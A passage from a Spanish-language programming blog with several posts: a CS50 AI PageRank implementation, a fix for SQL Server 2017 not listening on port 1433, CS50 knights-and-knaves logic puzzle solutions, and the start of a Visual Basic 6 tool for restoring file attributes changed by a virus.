src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg026-_JoA04ZDX9PPdLuV2GsJzRWoo2YQEPOsVk2ezx3Usrsg4qTTv-lg3eDQlHnvrwdks7Lh83VyjrpEgYFr3qB8F1A2hEFfgvmYyg1G6-kQY0vIU0hAM9k8_rtHD7YgqinvkDrpDick/s16000/formula.png" /></a></div><div><br /></div><div>La iteración se detiene cuando la diferencia entre <span style="font-family: courier;">PR(p)</span> calculado en la iteración actual (variable <span style="font-family: courier;">pagerank</span>) y el <span style="font-family: courier;">PR(p)</span> calculado en la iteración anterior (variable <span style="font-family: courier;">pagerank2</span>) es muy pequeña. La variable temp almacena el valor dentro de la sumatoria (cantidad de páginas enlazadas desde la página p). Si el valor resulta cero (no hay páginas enlazadas) se le asigna el valor <span style="font-family: courier;">1/N</span>.</div><div><br /></div><div>La función en este caso es <span style="font-family: courier;">iterative_pagerank</span>:</div><div><br /></div><div><div style="background-color: white; font-family: Consolas, "Courier New", monospace; font-size: 14px; line-height: 19px; white-space: pre;"><div><span style="color: blue;">def</span> <span style="color: #795e26;">iterate_pagerank</span>(<span style="color: #001080;">corpus</span>, <span style="color: #001080;">damping_factor</span>):</div><div> <span style="color: #a31515;">"""</span></div><div><span style="color: #a31515;"> Return PageRank values for each page by iteratively updating</span></div><div><span style="color: #a31515;"> PageRank values until convergence.</span></div><br /><div><span style="color: #a31515;"> Return a dictionary where keys are page names, and values are</span></div><div><span style="color: #a31515;"> their estimated PageRank value (a value between 0 and 1). All</span></div><div><span style="color: #a31515;"> PageRank values should sum to 1.</span></div><div><span style="color: #a31515;"> """</span></div><div> <span style="color: #0070c1;">N</span> = <span style="color: #795e26;">len</span>(<span style="color: #001080;">corpus</span>)</div><div> <span style="color: #001080;">pagerank</span> = { <span style="color: #001080;">p</span> : <span style="color: #098658;">1</span> / <span style="color: #0070c1;">N</span> <span style="color: #af00db;">for</span> <span style="color: #001080;">p</span> <span style="color: #af00db;">in</span> <span style="color: #001080;">corpus</span>.keys() }</div><div> <span style="color: #001080;">pagerank2</span> = { <span style="color: #001080;">p</span> : <span style="color: #098658;">0</span> <span style="color: #af00db;">for</span> <span style="color: #001080;">p</span> <span style="color: #af00db;">in</span> <span style="color: #001080;">corpus</span>.keys() }</div><br /><div> <span style="color: #001080;">stop</span> = <span style="color: blue;">False</span></div><br /><div> <span style="color: #af00db;">while</span> <span style="color: blue;">not</span> <span style="color: #001080;">stop</span>:</div><div> <span style="color: #af00db;">for</span> <span style="color: #001080;">p</span> <span style="color: #af00db;">in</span> <span style="color: #001080;">corpus</span>.keys():</div><div> <span style="color: #001080;">temp</span> = <span style="color: #098658;">0</span></div><br /><div> <span style="color: #af00db;">for</span> <span style="color: #001080;">i</span> <span style="color: #af00db;">in</span> <span style="color: #001080;">corpus</span>:</div><div> <span style="color: #af00db;">if</span> <span style="color: #001080;">p</span> <span style="color: blue;">in</span> <span style="color: #001080;">corpus</span>[<span style="color: #001080;">i</span>]:</div><div> <span style="color: #001080;">temp</span> += <span style="color: #001080;">pagerank</span>[<span style="color: #001080;">i</span>] / <span style="color: #795e26;">len</span>(<span style="color: #001080;">corpus</span>[<span style="color: #001080;">i</span>])</div><br /><div> <span style="color: #af00db;">if</span> <span style="color: #001080;">temp</span> == <span style="color: #098658;">0</span>:</div><div> <span style="color: #001080;">temp</span> = <span style="color: #098658;">1</span> / <span style="color: #0070c1;">N</span></div><br /><div> <span style="color: #001080;">pagerank</span>[<span style="color: #001080;">p</span>] = (<span style="color: #098658;">1</span> - <span style="color: #001080;">damping_factor</span>) / <span style="color: #0070c1;">N</span> + <span style="color: #001080;">temp</span> * <span style="color: #001080;">damping_factor</span></div><br /><div> <span style="color: #001080;">stop</span> = <span style="color: blue;">True</span></div><div> <span style="color: #af00db;">for</span> <span style="color: #001080;">p</span> <span style="color: #af00db;">in</span> <span style="color: #001080;">corpus</span>.keys():</div><div> <span style="color: #af00db;">if</span> <span style="color: #795e26;">abs</span>(<span style="color: #001080;">pagerank</span>[<span style="color: #001080;">p</span>] - <span style="color: #001080;">pagerank2</span>[<span style="color: #001080;">p</span>]) > <span style="color: #098658;">0.001</span>:</div><div> <span style="color: #001080;">stop</span> = <span style="color: blue;">False</span></div><div> <span style="color: #af00db;">break</span></div><br /><div> <span style="color: #001080;">pagerank2</span> = <span style="color: #267f99;">copy</span>.<span style="color: #795e26;">deepcopy</span>(<span style="color: #001080;">pagerank</span>)</div><br /><div> <span style="color: #af00db;">return</span> <span style="color: #001080;">pagerank</span></div></div></div><div><br /></div><div><br /></div><div><a href="https://drive.google.com/file/d/1pJm4StGSlzktHN_x7TSgW2GIbLgIX87a/view?usp=sharing" rel="nofollow" target="_blank">El código completo puede descargarse de este enlace.</a></div><div><br /></div></div>Broken_Windowhttp://www.blogger.com/profile/01485252540288156823noreply@blogger.com0tag:blogger.com,1999:blog-1158634561357243831.post-29252063728300652102021-10-14T17:30:00.003-07:002021-11-25T08:31:19.672-08:00Configurando Sql Server 2017 para que escuche en el puerto por defecto 1433<p>No me podía conectar desde Java ejecutándose en Windows 10 a mi Sql Server ejecutándose en localhost a pesar de poner todos los parámetros correctos como indican en esta web: <a href="https://www.codejava.net/java-se/jdbc/connect-to-microsoft-sql-server-via-jdbc">https://www.codejava.net/java-se/jdbc/connect-to-microsoft-sql-server-via-jdbc</a></p><p>Lo peor es que se trata de una instalación fresca de Sql Server, además el SQL Server Management Studio no tiene problemas en conectarse. Pero al intentar conectarme desde una aplicación en Java, siempre me arrojaba la siguiente excepción:</p><p><span style="font-family: courier;">com.microsoft.sqlserver.jdbc.SQLServerException: The TCP/IP connection to the host localhost, port 1433 has failed. Error: "Connection refused: connect. Verify the connection properties. Make sure that an instance of SQL Server is running on the host and accepting TCP/IP connections at the port. Make sure that TCP connections to the port are not blocked by a firewall.</span></p><p>El error también puede decir que se ha agotado el tiempo de espera.</p><p>Luego de comprobar que no fuera el firewall (activándolo y desactivándolo), reinicié los servicios que aparecen listados en Services.msc, eso tampoco resolvió el problema:</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTwWhozUEY50nuLwbJbZK8Pu0X0-TXgkl_lxoDcxjvagJuFNCiTPht_QOwjhknZoDx9sFQhjakUjor4r5TUKozdqkao8Yt_4riYtwDe6AXF2tObkXWtFDHCuJT-hfGk9a67HAz8yLsunQ/s541/Sin+t%25C3%25ADtulo.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="126" data-original-width="541" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTwWhozUEY50nuLwbJbZK8Pu0X0-TXgkl_lxoDcxjvagJuFNCiTPht_QOwjhknZoDx9sFQhjakUjor4r5TUKozdqkao8Yt_4riYtwDe6AXF2tObkXWtFDHCuJT-hfGk9a67HAz8yLsunQ/s16000/Sin+t%25C3%25ADtulo.png" /></a></div> <p></p><p>En el caso de Sql Server Express, no interesa si el SQL Server Agent no se ejecuta, por ahí leí que la versión Express no soporta el SQL Server Agent, de modo que se detiene apenas se inicia. Esto no interesa.</p><p>Pasa saber qué etá pasando, se debe revisar si hay alguna aplicación escuchando el puerto 1433; para esto se debe abrir el Windows Powershell o el cmd e ingresar el comando <span style="font-family: courier;">netstat -a</span> que listará todos los puertos en escucha:</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4K4VVzeNLkg7lagjbFnTAw9XSmEDwQVsvMl_bwNIYy31zIeRWi76nS2EZy5pz2RpFIUBP7aQbSH_olJUFZUTPQG8GIv57sadUHI6jwVQX-BNmCyi1Yb65GjZtvZ69vfj6CiNZIT0j_rI/s879/Captura2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="879" data-original-width="570" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4K4VVzeNLkg7lagjbFnTAw9XSmEDwQVsvMl_bwNIYy31zIeRWi76nS2EZy5pz2RpFIUBP7aQbSH_olJUFZUTPQG8GIv57sadUHI6jwVQX-BNmCyi1Yb65GjZtvZ69vfj6CiNZIT0j_rI/s16000/Captura2.png" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><br /></div>Es una lista bastante larga, pero el puerto 1433 debe aparecer por algún lado. En mi caso no aparece, para resolverlo se deben seguir las instrucciones de <a href="https://edywerder.ch/sql-server-remote-port/">https://edywerder.ch/sql-server-remote-port/</a><p>Primero se debe abrir el SQL Server Configuration Manager, si no se tiene el acceso directo, hay que ir a Inicio y ejecutar el archivo respectivo dado en este enlace <a href="https://docs.microsoft.com/en-us/sql/relational-databases/sql-server-configuration-manager?view=sql-server-ver15">https://docs.microsoft.com/en-us/sql/relational-databases/sql-server-configuration-manager?view=sql-server-ver15</a> </p><p>Esta es la lista para cada versión de SQL Server:
</p><table class="table"><thead><tr><th>Version</th><th>Path</th></tr></thead><tbody><tr>
<td>SQL Server 2019</td>
<td>C:\Windows\SysWOW64\SQLServerManager15.msc</td>
</tr><tr>
<td>SQL Server 2017</td>
<td>C:\Windows\SysWOW64\SQLServerManager14.msc</td>
</tr><tr>
<td>SQL Server 2016</td>
<td>C:\Windows\SysWOW64\SQLServerManager13.msc</td>
</tr><tr>
<td>SQL Server 2014 (12.x)</td>
<td>C:\Windows\SysWOW64\SQLServerManager12.msc</td>
</tr><tr><td>SQL Server 2012 (11.x)</td><td>C:\Windows\SysWOW64\SQLServerManager11.msc</td></tr></tbody></table><p>No hay que poner la ruta completa, basta el nombre del archivo msc respectivo. En mi caso es SQLServerManager14.msc <br /></p><p>A continuación se debe ir a Protocolos de SQLEXPRESS (el nombre de mi Instancia) y hacer click derecho a TCP/IP->Propiedades:<br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-hUJ2NNsGgJ4VaOWU5Ptili63vlZPfBj-brd0im2W-GRoXchLuiKf0xf57bPNJfQqJQd1Eh1Fzd6ih0G9c5RLlY9gHNCQSxtV6macgEpJvvGJNIkLWjRe8EVngG0SDvFLwhVbEfIGrXA/s604/Captura3.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="379" data-original-width="604" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-hUJ2NNsGgJ4VaOWU5Ptili63vlZPfBj-brd0im2W-GRoXchLuiKf0xf57bPNJfQqJQd1Eh1Fzd6ih0G9c5RLlY9gHNCQSxtV6macgEpJvvGJNIkLWjRe8EVngG0SDvFLwhVbEfIGrXA/s16000/Captura3.PNG" /></a></div><br /><p>Las opciones que se deben configurar son IPV3 e IPV4, se debe borrar el cero en TCP Dinamic Ports y poner Enabled en Yes, la opción TCP Port se deba en blanco:<br /></p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiR0qteVF21fAJNF-UGLvVHziOwsvMS6PlaeWN7-7JONdlH6mK-nYsJoDRi2jGiS4VTJ6JONQXc5ictkRbCQnCePvkSHIVMuswkmysaVrWKx1V808Ly-_PqlB9EMP5gdc_P6jyBxPJeBQQ/s636/Captura4.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="636" data-original-width="517" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiR0qteVF21fAJNF-UGLvVHziOwsvMS6PlaeWN7-7JONdlH6mK-nYsJoDRi2jGiS4VTJ6JONQXc5ictkRbCQnCePvkSHIVMuswkmysaVrWKx1V808Ly-_PqlB9EMP5gdc_P6jyBxPJeBQQ/s16000/Captura4.PNG" /></a></div> <p></p><p> La última opción es IPALL donde se debe ingresar el puerto 1433 en TCP Port:<br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjx9e9fsU-nZvdwnTi4mVVrrUb2c3NFimzbjqvShCoKOtUKMy8CZqKlhgu60yvSLRYWmOFyqmyAt4kv7eqy2I2HxY6zd5f86mYjnp06u49khxQyBVi-x-3GhWNFOK4Wzv7RE3wYAXPRJM0/s517/Captura5.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="215" data-original-width="517" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjx9e9fsU-nZvdwnTi4mVVrrUb2c3NFimzbjqvShCoKOtUKMy8CZqKlhgu60yvSLRYWmOFyqmyAt4kv7eqy2I2HxY6zd5f86mYjnp06u49khxQyBVi-x-3GhWNFOK4Wzv7RE3wYAXPRJM0/s16000/Captura5.PNG" /></a></div><br /><p>Luego se deben reiniciar todos los servicios de SQL Server en Services.msc. Se debe comprobar que el puerto 1433 aparece listado al ejecutar el comando <span style="font-family: courier;">netstat -a</span>:</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiRhNjSNfwdrhgyyMBQoHGflxXE-VconRoSfDuiIVRqh-77y7hFEetnxzBwrD3I2FWzMy0VlMIiTUthzQlBbazf11PepwDbhxFlZjlOTZjjDui_i6F0Gbyqcqxyss81afNHvhdLp91fLc/s901/Captura.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="901" data-original-width="572" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiRhNjSNfwdrhgyyMBQoHGflxXE-VconRoSfDuiIVRqh-77y7hFEetnxzBwrD3I2FWzMy0VlMIiTUthzQlBbazf11PepwDbhxFlZjlOTZjjDui_i6F0Gbyqcqxyss81afNHvhdLp91fLc/s16000/Captura.PNG" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><p></p><p>Esto me resolvió el problema de conexión desde Java.<br /></p>Broken_Windowhttp://www.blogger.com/profile/01485252540288156823noreply@blogger.com0tag:blogger.com,1999:blog-1158634561357243831.post-15971126222165788372021-09-10T10:22:00.002-07:002021-11-16T18:35:19.645-08:00Resolviendo el proyecto Knights del curso "CS50’s Introduction to Artificial Intelligence with Python"<p>El curso es accesible libremente en este link: <a href="https://cs50.harvard.edu/ai/2020/">https://cs50.harvard.edu/ai/2020/</a></p><p>El proyecto está en este link: <a href="https://cs50.harvard.edu/ai/2020/projects/1/knights/">https://cs50.harvard.edu/ai/2020/projects/1/knights/</a></p><p>En resumen, el proyecto trata de personajes que pueden ser Caballeros (Knights) o Truhanes (Knaves) pero no ambos a la vez. Los Caballeros siempre dicen la verdad, y los Truhanes siempre mienten. El objetivo es, dada cierta información, averiguar si los personajes son Caballeros o Truhanes.</p><p>El primer problema dice:</p><div style="background-color: white; color: black; font-family: Consolas, "Courier New", monospace; font-size: 14px; font-weight: normal; line-height: 19px; white-space: pre;"><div><span style="color: green;"># Puzzle 0</span></div><div><span style="color: green;"># A says "I am both a knight and a knave."</span></div></div><p>Mi solución en este caso es:</p><div style="background-color: white; color: black; font-family: Consolas, "Courier New", monospace; font-size: 14px; font-weight: normal; line-height: 19px; white-space: pre;"><div><span style="color: #001080;">knowledge0</span><span style="color: black;"> = </span><span style="color: #267f99;">And</span><span style="color: black;">(</span></div><div><span style="color: black;"> </span><span style="color: #267f99;">Or</span><span style="color: black;">(</span><span style="color: #001080;">AKnight</span><span style="color: black;">, </span><span style="color: #001080;">AKnave</span><span style="color: black;">),</span></div><div><span style="color: black;"> </span><span style="color: #267f99;">Not</span><span style="color: black;">(</span><span style="color: #267f99;">And</span><span style="color: black;">(</span><span style="color: #001080;">AKnight</span><span style="color: black;">, </span><span style="color: #001080;">AKnave</span><span style="color: black;">)),</span></div><div><span style="color: black;"> </span><span style="color: #267f99;">Implication</span><span style="color: black;">(</span><span style="color: #267f99;">Not</span><span style="color: black;">(</span><span style="color: #267f99;">And</span><span style="color: black;">(</span><span style="color: #001080;">AKnight</span><span style="color: black;">, </span><span style="color: #001080;">AKnave</span><span style="color: black;">)), </span><span style="color: #001080;">AKnave</span><span style="color: black;">)</span></div><div><span style="color: black;">)</span></div></div><p>La afirmación de lo que dice A es falsa ("Soy ambos, Caballero y Truhán"). Como es falsa, implica que A es un Truhán.</p><p>El segundo problema es:</p><div style="background-color: white; color: black; font-family: Consolas, "Courier New", monospace; font-size: 14px; font-weight: normal; line-height: 19px; white-space: pre;"><div><span style="color: green;"># Puzzle 1</span></div><div><span style="color: green;"># A says "We are both knaves."</span></div><div><span style="color: green;"># B says nothing.</span></div></div><p>Luego de analizar las condiciones del problema, hallé dos bicondicionales: Si un personaje miente, es un Truhán, y si es un Truhán, entonces miente. Si un personaje dice la verdad ,es un Caballero, y si es un Caballero, debe decir la verdad. <br /></p><p>Mi solución:</p><div style="background-color: white; color: black; font-family: Consolas, "Courier New", monospace; font-size: 14px; font-weight: normal; line-height: 19px; white-space: pre;"><div><span style="color: #001080;">knowledge1</span><span style="color: black;"> = </span><span style="color: #267f99;">And</span><span style="color: black;">(</span></div><div><span style="color: black;"> </span><span style="color: #267f99;">Or</span><span style="color: black;">(</span><span style="color: #001080;">AKnight</span><span style="color: black;">, </span><span style="color: #001080;">AKnave</span><span style="color: black;">),</span></div><div><span style="color: black;"> </span><span style="color: #267f99;">Not</span><span style="color: black;">(</span><span style="color: #267f99;">And</span><span style="color: black;">(</span><span style="color: #001080;">AKnight</span><span style="color: black;">, </span><span style="color: #001080;">AKnave</span><span style="color: black;">)),</span></div><div><span style="color: black;"> </span><span style="color: #267f99;">Or</span><span style="color: black;">(</span><span style="color: #001080;">BKnight</span><span style="color: black;">, </span><span style="color: #001080;">BKnave</span><span style="color: black;">),</span></div><div><span style="color: black;"> </span><span style="color: #267f99;">Not</span><span style="color: black;">(</span><span style="color: #267f99;">And</span><span style="color: black;">(</span><span style="color: #001080;">BKnight</span><span style="color: black;">, </span><span style="color: #001080;">BKnave</span><span style="color: black;">)),</span></div><div><span style="color: black;"> </span><span style="color: #267f99;">Implication</span><span style="color: black;">(</span><span style="color: #267f99;">Not</span><span style="color: black;">(</span><span style="color: #267f99;">And</span><span style="color: black;">(</span><span style="color: #001080;">AKnave</span><span style="color: black;">, </span><span style="color: #001080;">BKnave</span><span style="color: black;">)), </span><span style="color: #001080;">AKnave</span><span style="color: black;">),</span></div><div><span style="color: black;"> </span><span style="color: #267f99;">Biconditional</span><span style="color: black;">(</span><span style="color: #267f99;">And</span><span style="color: black;">(</span><span style="color: #267f99;">Or</span><span style="color: black;">(</span><span style="color: #001080;">AKnave</span><span style="color: black;">, </span><span style="color: #001080;">BKnave</span><span style="color: black;">), </span><span style="color: #267f99;">Not</span><span style="color: black;">(</span><span style="color: #267f99;">And</span><span style="color: black;">(</span><span style="color: #001080;">AKnave</span><span style="color: black;">, </span><span style="color: #001080;">BKnave</span><span style="color: black;">))), </span><span style="color: #001080;">AKnave</span><span style="color: black;">)</span></div><div><span style="color: black;">)</span></div></div><p>La implicación significa que A y B no pueden ser Truhanes, porque en este caso A estaría diciendo la verdad y sería un Caballero. Tampoco A puede ser un Caballero, porque estaría mintiendo.</p><p>El bicondicional indica que uno de los dos es un Truhán, pero no pueden serlo ambos, sí y sólo si A es Truhán.</p><p>El tercer problema es:</p><div style="background-color: white; color: black; font-family: Consolas, "Courier New", monospace; font-size: 14px; font-weight: normal; line-height: 19px; white-space: pre;"><div><span style="color: green;"># Puzzle 2</span></div><div><span style="color: green;"># A says "We are the same kind."</span></div><div><span style="color: green;"># B says "We are of different kinds."</span></div></div><p>Mi solución:</p><div style="background-color: white; color: black; font-family: Consolas, "Courier New", monospace; font-size: 14px; font-weight: normal; line-height: 19px; white-space: pre;"><div><span style="color: #001080;">knowledge2</span><span style="color: black;"> = </span><span style="color: #267f99;">And</span><span style="color: black;">(</span></div><div><span style="color: black;"> </span><span style="color: #267f99;">Or</span><span style="color: black;">(</span><span style="color: #001080;">AKnight</span><span style="color: black;">, </span><span style="color: #001080;">AKnave</span><span style="color: black;">),</span></div><div><span style="color: black;"> </span><span style="color: #267f99;">Not</span><span style="color: black;">(</span><span style="color: #267f99;">And</span><span style="color: black;">(</span><span style="color: #001080;">AKnight</span><span style="color: black;">, </span><span style="color: #001080;">AKnave</span><span style="color: black;">)),</span></div><div><span style="color: black;"> </span><span style="color: #267f99;">Or</span><span style="color: black;">(</span><span style="color: #001080;">BKnight</span><span style="color: black;">, </span><span style="color: #001080;">BKnave</span><span style="color: black;">),</span></div><div><span style="color: black;"> </span><span style="color: #267f99;">Not</span><span style="color: black;">(</span><span style="color: #267f99;">And</span><span style="color: black;">(</span><span style="color: #001080;">BKnight</span><span style="color: black;">, </span><span style="color: #001080;">BKnave</span><span style="color: black;">)),</span></div><div><span style="color: black;"> </span><span style="color: #267f99;">Biconditional</span><span style="color: black;">(</span><span style="color: #267f99;">And</span><span style="color: black;">(</span><span style="color: #001080;">AKnight</span><span style="color: black;">, </span><span style="color: #001080;">BKnight</span><span style="color: black;">), </span><span style="color: #001080;">AKnight</span><span style="color: black;">),</span></div><div><span style="color: black;"> </span><span style="color: #267f99;">Biconditional</span><span style="color: black;">(</span><span style="color: #267f99;">And</span><span style="color: black;">(</span><span style="color: #001080;">AKnave</span><span style="color: black;">, </span><span style="color: #001080;">BKnight</span><span style="color: black;">), </span><span style="color: #001080;">AKnave</span><span style="color: black;">),</span></div><div><span style="color: black;"> </span><span style="color: #267f99;">Biconditional</span><span style="color: black;">(</span><span style="color: #267f99;">And</span><span style="color: black;">(</span><span style="color: #001080;">AKnight</span><span style="color: black;">, </span><span style="color: #001080;">BKnight</span><span style="color: black;">), </span><span style="color: #001080;">BKnave</span><span style="color: black;">),</span></div><div><span style="color: black;"> </span><span style="color: #267f99;">Biconditional</span><span style="color: black;">(</span><span style="color: #267f99;">And</span><span style="color: black;">(</span><span style="color: #001080;">AKnave</span><span style="color: black;">, </span><span style="color: #001080;">BKnight</span><span style="color: black;">), </span><span style="color: #001080;">BKnight</span><span style="color: black;">)</span></div><div><span style="color: black;">)</span></div></div><p>Aquí agoto las cuatro opciones, todas como bicondicionales. Si ambos son caballeros, A dice la verdad y viceversa. En este caso B estaría mintiendo y sería un Truhán, y viceversa. Si A es un Caballero, B es necesariamente un Truhán.</p><p>El último problema es:</p><div style="background-color: white; color: black; font-family: Consolas, "Courier New", monospace; font-size: 14px; font-weight: normal; line-height: 19px; white-space: pre;"><div><span style="color: green;"># Puzzle 3</span></div><div><span style="color: green;"># A says either "I am a knight." or "I am a knave.", but you don't know which.</span></div><div><span style="color: green;"># B says "A said 'I am a knave'."</span></div><div><span style="color: green;"># B says "C is a knave."</span></div><div><span style="color: green;"># C says "A is a knight."</span></div></div><p>Aquí recibí un poco de ayuda de: <a href="https://cs50.stackexchange.com/questions/41635/help-with-cs50ai-project-1-knights-puzzle-3">https://cs50.stackexchange.com/questions/41635/help-with-cs50ai-project-1-knights-puzzle-3</a></p><p>Mi solución es:</p><div style="background-color: white; color: black; font-family: Consolas, "Courier New", monospace; font-size: 14px; font-weight: normal; line-height: 19px; white-space: pre;"><div><span style="color: #001080;">knowledge3</span><span style="color: black;"> = </span><span style="color: #267f99;">And</span><span style="color: black;">(</span></div><div><span style="color: black;"> </span><span style="color: #267f99;">Or</span><span style="color: black;">(</span><span style="color: #001080;">AKnight</span><span style="color: black;">, </span><span style="color: #001080;">AKnave</span><span style="color: black;">),</span></div><div><span style="color: black;"> </span><span style="color: #267f99;">Not</span><span style="color: black;">(</span><span style="color: #267f99;">And</span><span style="color: black;">(</span><span style="color: #001080;">AKnight</span><span style="color: black;">, </span><span style="color: #001080;">AKnave</span><span style="color: black;">)),</span></div><div><span style="color: black;"> </span><span style="color: #267f99;">Or</span><span style="color: black;">(</span><span style="color: #001080;">BKnight</span><span style="color: black;">, </span><span style="color: #001080;">BKnave</span><span style="color: black;">),</span></div><div><span style="color: black;"> </span><span style="color: #267f99;">Not</span><span style="color: black;">(</span><span style="color: #267f99;">And</span><span style="color: black;">(</span><span style="color: #001080;">BKnight</span><span style="color: black;">, </span><span style="color: #001080;">BKnave</span><span style="color: black;">)),</span></div><div><span style="color: black;"> </span><span style="color: #267f99;">Or</span><span style="color: black;">(</span><span style="color: #001080;">CKnight</span><span style="color: black;">, </span><span style="color: #001080;">CKnave</span><span style="color: black;">),</span></div><div><span style="color: black;"> </span><span style="color: #267f99;">Not</span><span style="color: black;">(</span><span style="color: #267f99;">And</span><span style="color: black;">(</span><span style="color: #001080;">CKnight</span><span style="color: black;">, </span><span style="color: #001080;">CKnave</span><span style="color: black;">)),</span></div><div><span style="color: black;"> </span><span style="color: #267f99;">Biconditional</span><span style="color: black;">(</span><span style="color: #267f99;">Or</span><span style="color: black;">(</span><span style="color: #001080;">AKnight</span><span style="color: black;">, </span><span style="color: #001080;">AKnave</span><span style="color: black;">), </span><span style="color: #001080;">AKnight</span><span style="color: black;">),</span></div><div><span style="color: black;"> </span><span style="color: #267f99;">Biconditional</span><span style="color: black;">(</span><span style="color: #001080;">CKnave</span><span style="color: black;">, </span><span style="color: #001080;">BKnight</span><span style="color: black;">),</span></div><div><span style="color: black;"> </span><span style="color: #267f99;">Biconditional</span><span style="color: black;">(</span><span style="color: #001080;">CKnight</span><span style="color: black;">, </span><span style="color: #001080;">BKnave</span><span style="color: black;">),</span></div><div><span style="color: black;"> </span><span style="color: #267f99;">Biconditional</span><span style="color: black;">(</span><span style="color: #001080;">AKnight</span><span style="color: black;">, </span><span style="color: #001080;">CKnight</span><span style="color: black;">),</span></div><div><span style="color: black;"> </span><span style="color: #267f99;">Biconditional</span><span style="color: black;">(</span><span style="color: #001080;">AKnave</span><span style="color: black;">, </span><span style="color: #001080;">CKnave</span><span style="color: black;">)</span></div></div><p>Lo que podría decir A está en el primer bicondicional. La última bicondicional codifica lo que sería A en caso de que C sea un Truhán, la penúltima codifica loq ue será A si C fuera un Caballero. Las otras dos bicondicionales codifican lo que sería C según lo que dice B en caso de ser Caballero o Truhán.</p><p>Para resolver este problema tuve que hacer una tabla de verdad con lo
que pueden ser A, B, C (Caballero y Truhán) y lo que están diciendo, y
también verificar que mi respuesta era la correcta. </p><p>Encontré este otro código <a href="https://github.com/iron8kid/Knights/blob/main/puzzle.py">https://github.com/iron8kid/Knights/blob/main/puzzle.py</a> donde el autor no usa el bicondicional, haciendo que sus soluciones sean mucho más complejas que las mías.</p><p>Los archivos del proyecto con mis soluciones, una copia de las soluciones de iron8kid (en el archivo puzzle2.py) y los ejemplos dados en el curso (subcarpeta src) <a href="https://drive.google.com/file/d/1ESFCmljpSt77OM1jJzFE8ZRLFFGFE9Kn/view?usp=sharing" rel="nofollow" target="_blank">se pueden descargar de aquí.</a></p><p>IDE: Visual Studio Code 1.60 con Python 3.8 <br /></p>Broken_Windowhttp://www.blogger.com/profile/01485252540288156823noreply@blogger.com0tag:blogger.com,1999:blog-1158634561357243831.post-48838307494115378372021-08-18T09:38:00.000-07:002021-08-18T09:38:10.849-07:00Modificando los Atributos de los Archivos con Visual Basic 6<p>Otra entrada migrada de la vieja web Electrónica a Martillazos, porque desde hace una década no hago más que programar y programar, asi que de electrónica ya nada. Y de paso me deshago de la fuente Comic Sans :D<br /></p><p><br /></p><p>De vez en cuando los virus infectan las computadoras de la facultad. Hubo uno muy molesto que modificaba los atributos de los archivos de tal forma que no pudieran "desocultarse":</p><p></p><p></p><p></p><p></p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYZ98mNyHbjSW9On1GLjJNopKZpAwMFDbfeDi4JYJSdXdKIhzjyq0eBUaYB1meY0dNmmfddsOSwMquTLxBp9TYc4TyKIZQLYm9KKhLimq42Irte59Zha6eF0EgmZ3Tr88zX6bEHT57730/s398/attr1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="398" data-original-width="315" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYZ98mNyHbjSW9On1GLjJNopKZpAwMFDbfeDi4JYJSdXdKIhzjyq0eBUaYB1meY0dNmmfddsOSwMquTLxBp9TYc4TyKIZQLYm9KKhLimq42Irte59Zha6eF0EgmZ3Tr88zX6bEHT57730/s16000/attr1.jpg" /></a></div><p></p><p>Desde la ventana de "propiedades" es imposible "desocultar" el archivo. Intenté hallar cómo modificar esta propiedad, rebusqué hasta en el registro y nada.<br /><br />Hasta que me topé con esta web: http://www.recursosvisualbasic.com.ar/htm/tutoriales/tutorial-basico7.htm#getattr-setattr<br /><br />Dado que desde Visual Basic es muy pero muy fácil modificar los atributos de los archivos decidí hacerme mi propio programa para quitar las modificaciones que hizo el condenado virus:<br /><br />Se abre el Visual y se carga un proyecto exe estándar. Luego, a la barra de controles, se le carga el control Conmon Dialog. Cómo hacerlo está acá: http://www.recursosvisualbasic.com.ar/htm/tutoriales/control-commondialog.htm<br /><br />Éste control servirá para elegir el archivo cuyos atributos se van a modificar, ésta es la ventana que creé:<br /><br /> </p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtrjnnLERrS0LogJnBfKyyIIJ0H0zQwGy5EXNUVKFLWH2TMghyphenhyphenZEHffOFSaPVEhjVZux-EYYr5ifD9rsDoct2TDuks0B5g632jrgm2nYnuMUp1TNzp9PjKfs8BYA-Qk-gFUB-iV8BzXQo/s449/attr2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="350" data-original-width="449" height="249" 